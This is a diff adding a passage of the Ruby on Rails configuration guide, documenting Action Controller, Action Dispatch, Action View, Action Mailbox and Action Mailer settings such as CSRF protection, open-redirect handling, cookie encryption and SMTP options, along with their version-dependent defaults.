+#### `config.action_controller.asset_host`
+
+Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Mailer, otherwise use `config.asset_host`.
+
+#### `config.action_controller.perform_caching`
+
+Configures whether the application should perform the caching features provided by the Action Controller component. Set to `false` in the development environment, `true` in production. If it's not specified, the default will be `true`.
+
+#### `config.action_controller.default_static_extension`
+
+Configures the extension used for cached pages. Defaults to `.html`.
+
+#### `config.action_controller.include_all_helpers`
+
+Configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller.
+
+#### `config.action_controller.logger`
+
+Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+#### `config.action_controller.request_forgery_protection_token`
+
+Sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+#### `config.action_controller.allow_forgery_protection`
+
+Enables or disables CSRF protection. By default this is `false` in the test environment and `true` in all other environments.
+
+#### `config.action_controller.forgery_protection_origin_check`
+
+Configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.0                   | `true`               |
+
+#### `config.action_controller.per_form_csrf_tokens`
+
+Configures whether CSRF tokens are only valid for the method/action they were generated for.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.0                   | `true`               |
+
+#### `config.action_controller.forgery_protection_verification_strategy`
+
+Configures how Rails verifies requests for CSRF protection. Available strategies are:
+
+* `:header_only` - Uses the `Sec-Fetch-Site` header sent by modern browsers to verify
+  that requests originate from the same site. Requests without a valid header are rejected.
+  This is simpler and more secure but only works with browsers that support the
+  [Fetch Metadata Request Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site).
+
+* `:header_or_legacy_token` - A hybrid approach that checks the `Sec-Fetch-Site` header first.
+  If the header indicates same-origin or same-site, the request is allowed. When the
+  header is missing or has the value "none", it falls back to checking the authenticity
+  token. This supports older browsers while logging when fallback occurs.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is         |
+| --------------------- | ---------------------------- |
+| (original)            | `:header_or_legacy_token`    |
+| 8.2                   | `:header_only`               |
+
+#### `config.action_controller.default_protect_from_forgery`
+
+Determines whether forgery protection is added on `ActionController::Base`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.2                   | `true`               |
+
+#### `config.action_controller.relative_url_root`
+
+Can be used to tell Rails that you are [deploying to a subdirectory](
+configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is
+[`config.relative_url_root`](#config-relative-url-root).
+
+#### `config.action_controller.permit_all_parameters`
+
+Sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+
+#### `config.action_controller.action_on_unpermitted_parameters`
+
+Controls behavior when parameters that are not explicitly permitted are found. The default value is `:log` in test and development environments, `false` otherwise. The values can be:
+
+* `false` to take no action
+* `:log` to emit an `ActiveSupport::Notifications.instrument` event on the `unpermitted_parameters.action_controller` topic and log at the DEBUG level
+* `:raise` to raise a `ActionController::UnpermittedParameters` exception
+
+#### `config.action_controller.always_permitted_parameters`
+
+Sets a list of permitted parameters that are permitted by default. The default values are `['controller', 'action']`.
+
+#### `config.action_controller.enable_fragment_cache_logging`
+
+Determines whether to log fragment cache reads and writes in verbose format as follows:
+
+```
+Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
+Rendered messages/_message.html.erb in 1.2 ms [cache hit]
+Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
+Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
+```
+
+By default it is set to `false` which results in following output:
+
+```
+Rendered messages/_message.html.erb in 1.2 ms [cache hit]
+Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
+```
+
+#### `config.action_controller.raise_on_missing_callback_actions`
+
+Raises an `AbstractController::ActionNotFound` when the action specified in callback's `:only` or `:except` options is missing in the controller.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.1                   | `true` (development and test), `false` (other envs)|
+
+
+#### `config.action_controller.raise_on_open_redirects`
+
+Protect an application from unintentionally redirecting to an external host
+(also known as an "open redirect") by making external redirects opt-in.
+
+When this configuration is set to `true`, an
+`ActionController::Redirecting::UnsafeRedirectError` will be raised when a URL
+with an external host is passed to [redirect_to][]. If an open redirect should
+be allowed, then `allow_other_host: true` can be added to the call to
+`redirect_to`.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+
+[redirect_to]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to
+
+#### `config.action_controller.action_on_open_redirect`
+
+Controls how Rails handles open redirect attempts (redirects to external hosts).
+
+**Note:** This configuration replaces the deprecated [`config.action_controller.raise_on_open_redirects`](#config-action-controller-raise-on-open-redirects)
+option, which will be removed in a future Rails version. The new configuration provides more
+flexible control over open redirect protection.
+
+When set to `:log`, Rails will log a warning when an open redirect is detected.
+When set to `:notify`, Rails will publish an `open_redirect.action_controller`
+notification event. When set to `:raise`, Rails will raise an
+`ActionController::Redirecting::UnsafeRedirectError`.
+
+If `raise_on_open_redirects` is set to `true`, it will take precedence
+over this configuration for backward compatibility, effectively forcing `:raise`
+behavior.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:log`               |
+| 7.0                   | `:raise`             |
+
+#### `config.action_controller.action_on_path_relative_redirect`
+
+Controls how Rails handles paths relative URL redirects.
+
+When set to `:log` (default), Rails will log a warning when a path relative URL redirect
+is detected. When set to `:notify`, Rails will publish an
+`unsafe_redirect.action_controller` notification event. When set to `:raise`, Rails
+will raise an `ActionController::Redirecting::UnsafeRedirectError`.
+
+This helps detect potentially unsafe redirects that could be exploited for open
+redirect attacks.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:log`               |
+| 8.1                   | `:raise`             |
+
+
+#### `config.action_controller.log_query_tags_around_actions`
+
+Determines whether controller context for query tags will be automatically
+updated via an `around_filter`. The default value is `true`.
+
+#### `config.action_controller.wrap_parameters_by_default`
+
+Before Rails 7.0, new applications were generated with an initializer named
+`wrap_parameters.rb` that enabled parameter wrapping in `ActionController::Base`
+for JSON requests.
+
+Setting this configuration value to `true` has the same behavior as the
+initializer, allowing applications to remove the initializer if they do not wish
+to customize parameter wrapping behavior.
+
+Regardless of this value, applications can continue to customize the parameter
+wrapping behavior as before in an initializer or per controller.
+
+See [`ParamsWrapper`][params_wrapper] for more information on parameter
+wrapping.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
+
+[params_wrapper]: https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
+
+#### `config.action_controller.allowed_redirect_hosts`
+
+Specifies a list of allowed hosts for redirects. `redirect_to` will allow redirects to them without raising an
+`UnsafeRedirectError` error.
+
+#### `ActionController::Base.wrap_parameters`
+
+Configures the [`ParamsWrapper`](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html). This can be called at
+the top level, or on individual controllers.
+
+#### `config.action_controller.escape_json_responses`
+
+Configures the JSON renderer to escape HTML entities and Unicode characters that are invalid in JavaScript.
+
+This is useful if you relied on the JSON response having those characters escaped to embed the JSON document in
+\<script> tags in HTML.
+
+This is mainly for compatibility when upgrading Rails applications, otherwise you can use the `:escape` option for
+`render json:` in specific controller actions.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 8.1                   | `false`              |
+
+### Configuring Action Dispatch
+
+#### `config.action_dispatch.cookies_serializer`
+
+Specifies which serializer to use for cookies. Accepts the same values as
+[`config.active_support.message_serializer`](#config-active-support-message-serializer),
+plus `:hybrid` which is an alias for `:json_allow_marshal`.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:marshal`           |
+| 7.0                   | `:json`              |
+
+#### `config.action_dispatch.debug_exception_log_level`
+
+Configures the log level used by the [`ActionDispatch::DebugExceptions`][]
+middleware when logging uncaught exceptions during requests.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:fatal`             |
+| 7.1                   | `:error`             |
+
+[`ActionDispatch::DebugExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/DebugExceptions.html
+
+#### `config.action_dispatch.default_headers`
+
+Is a hash with HTTP headers that are set by default in each response.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | <pre><code>{<br>  "X-Frame-Options" => "SAMEORIGIN",<br>  "X-XSS-Protection" => "1; mode=block",<br>  "X-Content-Type-Options" => "nosniff",<br>  "X-Download-Options" => "noopen",<br>  "X-Permitted-Cross-Domain-Policies" => "none",<br>  "Referrer-Policy" => "strict-origin-when-cross-origin"<br>}</code></pre> |
+| 7.0                   | <pre><code>{<br>  "X-Frame-Options" => "SAMEORIGIN",<br>  "X-XSS-Protection" => "0",<br>  "X-Content-Type-Options" => "nosniff",<br>  "X-Download-Options" => "noopen",<br>  "X-Permitted-Cross-Domain-Policies" => "none",<br>  "Referrer-Policy" => "strict-origin-when-cross-origin"<br>}</code></pre> |
+| 7.1                   | <pre><code>{<br>  "X-Frame-Options" => "SAMEORIGIN",<br>  "X-XSS-Protection" => "0",<br>  "X-Content-Type-Options" => "nosniff",<br>  "X-Permitted-Cross-Domain-Policies" => "none",<br>  "Referrer-Policy" => "strict-origin-when-cross-origin"<br>}</code></pre> |
+
+#### `config.action_dispatch.default_charset`
+
+Specifies the default character set for all renders. Defaults to `nil`.
+
+#### `config.action_dispatch.tld_length`
+
+Sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+#### `config.action_dispatch.domain_extractor`
+
+Configures the domain extraction strategy used by Action Dispatch for parsing host names into domain and subdomain components. This must be an object that responds to `domain_from(host, tld_length)` and `subdomains_from(host, tld_length)` methods.
+
+Defaults to `ActionDispatch::Http::URL::DomainExtractor`, which provides the standard domain parsing logic. You can provide a custom extractor to implement specialized domain parsing behavior:
+
+```ruby
+class CustomDomainExtractor
+  def self.domain_from(host, tld_length)
+    # Custom domain extraction logic
+  end
+
+  def self.subdomains_from(host, tld_length)
+    # Custom subdomain extraction logic
+  end
+end
+
+config.action_dispatch.domain_extractor = CustomDomainExtractor
+```
+
+#### `config.action_dispatch.ignore_accept_header`
+
+Is used to determine whether to ignore accept headers from a request. Defaults to `false`.
+
+#### `config.action_dispatch.x_sendfile_header`
+
+Specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.
+
+#### `config.action_dispatch.http_auth_salt`
+
+Sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+#### `config.action_dispatch.signed_cookie_salt`
+
+Sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+#### `config.action_dispatch.encrypted_cookie_salt`
+
+Sets the encrypted cookies salt value. Defaults to `'encrypted cookie'`.
+
+#### `config.action_dispatch.encrypted_signed_cookie_salt`
+
+Sets the signed encrypted cookies salt value. Defaults to `'signed encrypted
+cookie'`.
+
+#### `config.action_dispatch.authenticated_encrypted_cookie_salt`
+
+Sets the authenticated encrypted cookie salt. Defaults to `'authenticated
+encrypted cookie'`.
+
+#### `config.action_dispatch.encrypted_cookie_cipher`
+
+Sets the cipher to be used for encrypted cookies. This defaults to
+`"aes-256-gcm"`.
+
+#### `config.action_dispatch.signed_cookie_digest`
+
+Sets the digest to be used for signed cookies. This defaults to `"SHA1"`.
+
+#### `config.action_dispatch.cookies_rotations`
+
+Allows rotating secrets, ciphers, and digests for encrypted and signed cookies.
+
+#### `config.action_dispatch.use_authenticated_cookie_encryption`
+
+Controls whether signed and encrypted cookies use the AES-256-GCM cipher or the
+older AES-256-CBC cipher.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.2                   | `true`               |
+
+#### `config.action_dispatch.use_cookies_with_metadata`
+
+Enables writing cookies with the purpose metadata embedded.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 6.0                   | `true`               |
+
+#### `config.action_dispatch.perform_deep_munge`
+
+Configures whether `deep_munge` method should be performed on the parameters.
+See [Security Guide](security.html#unsafe-query-generation) for more
+information. It defaults to `true`.
+
+#### `config.action_dispatch.rescue_responses`
+
+Configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status.
+
+```ruby
+# It's good to use #[]= or #merge! to respect the default values
+config.action_dispatch.rescue_responses["MyAuthenticationError"] = :unauthorized
+```
+
+Use `ActionDispatch::ExceptionWrapper.rescue_responses` to observe the configuration. By default, it is defined as:
+
+```ruby
+{
+  "ActionController::RoutingError" => :not_found,
+  "AbstractController::ActionNotFound" => :not_found,
+  "ActionController::MethodNotAllowed" => :method_not_allowed,
+  "ActionController::UnknownHttpMethod" => :method_not_allowed,
+  "ActionController::NotImplemented" => :not_implemented,
+  "ActionController::UnknownFormat" => :not_acceptable,
+  "ActionDispatch::Http::MimeNegotiation::InvalidType" => :not_acceptable,
+  "ActionController::MissingExactTemplate" => :not_acceptable,
+  "ActionController::InvalidAuthenticityToken" => :unprocessable_entity,
+  "ActionController::InvalidCrossOriginRequest" => :unprocessable_entity,
+  "ActionDispatch::Http::Parameters::ParseError" => :bad_request,
+  "ActionController::BadRequest" => :bad_request,
+  "ActionController::ParameterMissing" => :bad_request,
+  "Rack::QueryParser::ParameterTypeError" => :bad_request,
+  "Rack::QueryParser::InvalidParameterError" => :bad_request,
+  "ActiveRecord::RecordNotFound" => :not_found,
+  "ActiveRecord::StaleObjectError" => :conflict,
+  "ActiveRecord::RecordInvalid" => :unprocessable_entity,
+  "ActiveRecord::RecordNotSaved" => :unprocessable_entity
+}
+```
+
+Any exceptions that are not configured will be mapped to 500 Internal Server Error.
+
+#### `config.action_dispatch.cookies_same_site_protection`
+
+Configures the default value of the `SameSite` attribute when setting cookies.
+When set to `nil`, the `SameSite` attribute is not added. To allow the value of
+the `SameSite` attribute to be configured dynamically based on the request, a
+proc may be specified. For example:
+
+```ruby
+config.action_dispatch.cookies_same_site_protection = ->(request) do
+  :strict unless request.user_agent == "TestAgent"
+end
+```
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `nil`                |
+| 6.1                   | `:lax`               |
+
+#### `config.action_dispatch.ssl_default_redirect_status`
+
+Configures the default HTTP status code used when redirecting non-GET/HEAD
+requests from HTTP to HTTPS in the `ActionDispatch::SSL` middleware.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `307`                |
+| 6.1                   | `308`                |
+
+#### `config.action_dispatch.log_rescued_responses`
+
+Enables logging those unhandled exceptions configured in `rescue_responses`. It
+defaults to `true`.
+
+#### `config.action_dispatch.show_exceptions`
+
+The `config.action_dispatch.show_exceptions` configuration controls how Action Pack (specifically the [`ActionDispatch::ShowExceptions`](/configuring.html#actiondispatch-showexceptions) middleware) handles exceptions raised while responding to requests.
+
+Setting the value to `:all` configures Action Pack to rescue from exceptions and render corresponding error pages. For example, Action Pack would rescue from an `ActiveRecord::RecordNotFound` exception and render the contents of `public/404.html` with a `404 Not found` status code.
+
+Setting the value to `:rescuable` configures Action Pack to rescue from exceptions defined in [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses), and raise all others. For example, Action Pack would rescue from `ActiveRecord::RecordNotFound`, but would raise a `NoMethodError`.
+
+Setting the value to `:none` configures Action Pack to raise all exceptions.
+
+* `:all` - render error pages for all exceptions
+* `:rescuable` - render error pages for exceptions declared by [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses)
+* `:none` - raise all exceptions
+
+| Starting with version | The default value is  |
+| --------------------- | --------------------- |
+| (original)            | `true`                |
+| 7.1                   | `:all`                |
+
+#### `config.action_dispatch.strict_freshness`
+
+Configures whether the `ActionDispatch::ETag` middleware should prefer the `ETag` header over the `Last-Modified` header when both are present in the response.
+
+If set to `true`, when both headers are present only the `ETag` is considered as specified by RFC 7232 section 6.
+
+If set to `false`, when both headers are present, both headers are checked and both need to match for the response to be considered fresh.
+
+| Starting with version | The default value is  |
+| --------------------- | --------------------- |
+| (original)            | `false`               |
+| 8.0                   | `true`                |
+
+#### `config.action_dispatch.always_write_cookie`
+
+Cookies will be written at the end of a request if they marked as insecure, if the request is made over SSL, or if the request is made to an onion service.
+
+If set to `true`, cookies will be written even if this criteria is not met.
+
+This defaults to `true` in `development`, and `false` in all other environments.
+
+#### `config.action_dispatch.verbose_redirect_logs`
+
+Specifies if source locations of redirects should be logged below relevant log lines. By default, the flag is `true` in development and `false` in all other environments.
+
+#### `ActionDispatch::Callbacks.before`
+
+Takes a block of code to run before the request.
+
+#### `ActionDispatch::Callbacks.after`
+
+Takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+#### `config.action_view.cache_template_loading`
+
+Controls whether or not templates should be reloaded on each request. Defaults to `!config.enable_reloading`.
+
+#### `config.action_view.field_error_proc`
+
+Provides an HTML generator for displaying errors that come from Active Model. The block is evaluated within
+the context of an Action View template. The default is
+
+```ruby
+Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }
+```
+
+#### `config.action_view.default_form_builder`
+
+Tells Rails which form builder to use by default. The default is
+`ActionView::Helpers::FormBuilder`. If you want your form builder class to be
+loaded after initialization (so it's reloaded on each request in development),
+you can pass it as a `String`.
+
+#### `config.action_view.logger`
+
+Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+#### `config.action_view.erb_trim_mode`
+
+Controls if certain ERB syntax should trim. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. Setting this to anything else will turn off trimming support.
+
+#### `config.action_view.frozen_string_literal`
+
+Compiles the ERB template with the `# frozen_string_literal: true` magic comment, making all string literals frozen and saving allocations. Set to `true` to enable it for all views.
+
+#### `config.action_view.embed_authenticity_token_in_remote_forms`
+
+Allows you to set the default behavior for `authenticity_token` in forms with
+`remote: true`. By default it's set to `false`, which means that remote forms
+will not include `authenticity_token`, which is helpful when you're
+fragment-caching the form. Remote forms get the authenticity from the `meta`
+tag, so embedding is unnecessary unless you support browsers without
+JavaScript. In such case you can either pass `authenticity_token: true` as a
+form option or set this config setting to `true`.
+
+#### `config.action_view.prefix_partial_path_with_controller_namespace`
+
+Determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:
+
+```erb
+<%= render @article %>
+```
+
+The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.
+
+#### `config.action_view.automatically_disable_submit_tag`
+
+Determines whether `submit_tag` should automatically disable on click, this
+defaults to `true`.
+
+#### `config.action_view.debug_missing_translation`
+
+Determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`.
+
+#### `config.action_view.form_with_generates_remote_forms`
+
+Determines whether `form_with` generates remote forms or not.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| 5.1                   | `true`               |
+| 6.1                   | `false`              |
+
+#### `config.action_view.form_with_generates_ids`
+
+Determines whether `form_with` generates ids on inputs.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 5.2                   | `true`               |
+
+#### `config.action_view.default_enforce_utf8`
+
+Determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 6.0                   | `false`              |
+
+#### `config.action_view.image_loading`
+
+Specifies a default value for the `loading` attribute of `<img>` tags rendered by the `image_tag` helper. For example, when set to `"lazy"`, `<img>` tags rendered by `image_tag` will include `loading="lazy"`, which [instructs the browser to wait until an image is near the viewport to load it](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/loading#lazy). (This value can still be overridden per image by passing e.g. `loading: "eager"` to `image_tag`.) Defaults to `nil`.
+
+#### `config.action_view.image_decoding`
+
+Specifies a default value for the `decoding` attribute of `<img>` tags rendered by the `image_tag` helper. Defaults to `nil`.
+
+#### `config.action_view.annotate_rendered_view_with_filenames`
+
+Determines whether to annotate rendered view with template file names. This defaults to `false`.
+
+#### `config.action_view.preload_links_header`
+
+Determines whether `javascript_include_tag` and `stylesheet_link_tag` will generate a `link` header that preload assets.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `nil`                |
+| 6.1                   | `true`               |
+
+#### `config.action_view.button_to_generates_button_tag`
+
+When `false`, `button_to` will render a `<button>` or an `<input>` inside a
+`<form>` depending on how content is passed (`<form>` omitted for brevity):
+
+```erb
+<%= button_to "Content", "/" %>
+# => <input type="submit" value="Content">
+
+<%= button_to "/" do %>
+  Content
+<% end %>
+# => <button type="submit">Content</button>
+```
+
+Setting this value to `true` makes `button_to` generate a `<button>` tag inside
+the `<form>` in both cases.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
+
+#### `config.action_view.apply_stylesheet_media_default`
+
+Determines whether `stylesheet_link_tag` will render `screen` as the default
+value for the `media` attribute when it's not provided.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.0                   | `false`              |
+
+#### `config.action_view.prepend_content_exfiltration_prevention`
+
+Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.
+
+#### `config.action_view.sanitizer_vendor`
+
+Configures the set of HTML sanitizers used by Action View by setting `ActionView::Helpers::SanitizeHelper.sanitizer_vendor`. The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is                 | Which parses markup as |
+|-----------------------|--------------------------------------|------------------------|
+| (original)            | `Rails::HTML4::Sanitizer`            | HTML4                  |
+| 7.1                   | `Rails::HTML5::Sanitizer` (see NOTE) | HTML5                  |
+
+NOTE: `Rails::HTML5::Sanitizer` is not supported on JRuby, so on JRuby platforms Rails will fall back to `Rails::HTML4::Sanitizer`.
+
+#### `config.action_view.remove_hidden_field_autocomplete`
+
+When enabled, hidden inputs generated by `form_tag`, `token_tag`, `method_tag`, and the hidden parameter fields included in `button_to` forms will omit the `autocomplete="off"` attribute.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 8.1                   | `true`               |
+
+#### `config.action_view.render_tracker`
+
+Configures the strategy for tracking dependencies between Action View templates.
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:regex`             |
+| 8.1                   | `:ruby`              |
+
+### Configuring Action Mailbox
+
+`config.action_mailbox` provides the following configuration options:
+
+#### `config.action_mailbox.logger`
+
+Contains the logger used by Action Mailbox. It accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. The default is `Rails.logger`.
+
+```ruby
+config.action_mailbox.logger = ActiveSupport::Logger.new(STDOUT)
+```
+
+#### `config.action_mailbox.incinerate_after`
+
+Accepts an `ActiveSupport::Duration` indicating how long after processing `ActionMailbox::InboundEmail` records should be destroyed. It defaults to `30.days`.
+
+```ruby
+# Incinerate inbound emails 14 days after processing.
+config.action_mailbox.incinerate_after = 14.days
+```
+
+#### `config.action_mailbox.queues.incineration`
+
+Accepts a symbol indicating the Active Job queue to use for incineration jobs.
+When this option is `nil`, incineration jobs are sent to the default Active Job
+queue (see [`config.active_job.default_queue_name`][]).
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:action_mailbox_incineration` |
+| 6.1                   | `nil`                |
+
+#### `config.action_mailbox.queues.routing`
+
+Accepts a symbol indicating the Active Job queue to use for routing jobs. When
+this option is `nil`, routing jobs are sent to the default Active Job queue (see
+[`config.active_job.default_queue_name`][]).
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `:action_mailbox_routing` |
+| 6.1                   | `nil`                |
+
+#### `config.action_mailbox.storage_service`
+
+Accepts a symbol indicating the Active Storage service to use for uploading emails. When this option is `nil`, emails are uploaded to the default Active Storage service (see `config.active_storage.service`).
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+#### `config.action_mailer.asset_host`
+
+Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Controller, otherwise use `config.asset_host`.
+
+#### `config.action_mailer.logger`
+
+Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+#### `config.action_mailer.smtp_settings`
+
+Allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+
+* `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+* `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+* `:domain` - If you need to specify a HELO domain, you can do it here.
+* `:user_name` - If your mail server requires authentication, set the username in this setting.
+* `:password` - If your mail server requires authentication, set the password in this setting.
+* `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+* `:enable_starttls` - Use STARTTLS when connecting to your SMTP server and fail if unsupported. It defaults to `false`.
+* `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`.
+* `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be the name of one of the OpenSSL verify constants, `'none'` or `'peer'` - or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively.
+* `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).
+* `:open_timeout` - Number of seconds to wait while attempting to open a connection.
+* `:read_timeout` - Number of seconds to wait until timing-out a read(2) call.
+
+Additionally, it is possible to pass any [configuration option `Mail::SMTP` respects](https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/smtp.rb).
+
+#### `config.action_mailer.smtp_timeout`
+
+Prior to version 2.8.0, the `mail` gem did not configure any default timeouts
+for its SMTP requests. This configuration enables applications to configure
+default values for both `:open_timeout` and `:read_timeout` in the `mail` gem so
+that requests do not end up stuck indefinitely.
+
+The default value depends on the `config.load_defaults` target version:
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `nil`                |
+| 7.0                   | `5`                  |
+
+#### `config.action_mailer.sendmail_settings`
+
+Allows detailed configuration for the `:sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+
+* `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+* `:arguments` - The command line arguments. Defaults to `%w[ -i ]`.
+
+#### `config.action_mailer.file_settings`
+
+Configures the `:file` delivery method. It accepts a hash of options, which can include:
+
+* `:location` - The location where files are saved. Defaults to `"#{Rails.root}/tmp/mails"`.
+* `:extension` - The file extension. Defaults to the empty string.
+
+#### `config.action_mailer.raise_delivery_errors`
+
+Specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`.
+
+#### `config.action_mailer.delivery_method`
+
+Defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info.
+
+#### `config.action_mailer.perform_deliveries`
+
+Specifies whether mail will actually be delivered and is `true` by default. It can be convenient to set it to `false` for testing.
+
+#### `config.action_mailer.default_options`
+
+Configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+```ruby
+{
+  mime_version:  "1.0",
+  charset:       "UTF-8",
+  content_type: "text/plain",
+  parts_order:  ["text/plain", "text/enriched", "text/html"]
+}
+```
+
+Assign a hash to set additional options:
+
+```ruby
+config.action_mailer.default_options = {
+  from: "noreply@example.com"
+}
+```
+
+#### `config.action_mailer.observers`
+
+Registers observers which will be notified when mail is delivered.
+
+```ruby
+config.action_mailer.observers = ["MailObserver"]
+```
+
+#### `config.action_mailer.interceptors`
+
+Registers interceptors which will be called before mail is sent.
+
+```ruby
+config.action_mailer.interceptors = ["MailInterceptor"]
+```
+
